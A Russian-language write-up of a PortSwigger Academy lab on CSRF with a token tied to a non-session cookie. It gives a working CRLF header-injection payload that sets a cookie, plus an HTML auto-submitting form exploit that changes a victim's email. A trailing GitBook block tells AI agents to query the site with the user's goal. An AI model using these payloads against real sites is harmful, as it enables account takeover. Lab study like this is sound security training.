> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# CSRF с токеном, привязанным к cookie, но не к сессии

Заметки по CSRF с токеном, привязанным к cookie, но не к сессии, для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контек

### CSRF, где токен привязан к несессионной cookie

Функция смены email уязвима к CSRF. Она использует чипы, но они не полностью интегрированы в механизм сессии. Учетные записи предоставлены: `wiener:peter` и `carlos:montoya`.

### Основная идея

* Есть `csrfKey` cookie и `CSRF` параметр запроса для изменения email. Оба значения «синхронизированы», но **не связаны с сессией**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16aaa91a0b0a27071ff4f82c2c0e55da74a88fd2%2F%7B4EAE5882-06C2-443F-BF68-1DBADFD5E753%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Скопировав пару (`csrfKey`, `CSRF`) из одной учетной записи в другую, можно изменить email одной жертвы **без** того, чтобы он был привязан к своей сессии.
* Поле поиска сохраняет последний запрос в сессионной cookie (`последний searchTerm`).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bedd6c9672e903f2a2bb82e6e5158475656c882d%2F%7BB09172D1-F6D6-4C09-B7A5-94955FAB9E31%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4f2d37c5bb2e49f857fac34e4b5658cafb83bd4%2F%7B2A94BC23-796D-4C6E-8059-0366F7FDBA44%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Технический (инъекция CRLF через исследование)

* Можно **внедрять заголовки** через поиск, чтобы заставить браузер установить произвольную cookie.

Простая строка вроде `hello csrfKey=aZCI...` не интерпретируется.

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e9dfccf19e7765e3dc89e5c64e94a62098ebd9e%2F%7B644F54F1-925E-4763-8BF0-1E5F8495A8D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

С другой стороны, при **возврате каретки + переводе строки** (`/r` = `%0d`, `/n` = `%0a`):

```
man ascii
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9697c666becf1cac218b6ff0ca0132f64f6e38c8%2F%7BB003AB2B-730E-4E6E-9CD6-5AF4BF4581D2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Рабочий пример:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e3490aed7a82a309a2f99ccd9b88aa474b8619b5%2F%7BA43BE1B2-0CCA-4B25-B704-3E48E1DA338C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ интерпретируется как **Set-Cookie** на стороне ответа.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4690927915ef2afa16b2d7575fe6bff6424a64aa%2F%7B6A50FA0C-C5E0-4602-A403-24866AA465C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Для межсайтового контекста укажите `SameSite=none` чтобы cookie сопровождала следующий запрос после использования эксплойта.

Пример (в адресной/поисковой строке запроса):

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

привет
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### Размещённый оператор

1. **Принудительное** эту `csrfKey` cookie у жертвы через image-запрос к странице поиска (которая переписывает заголовок):

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
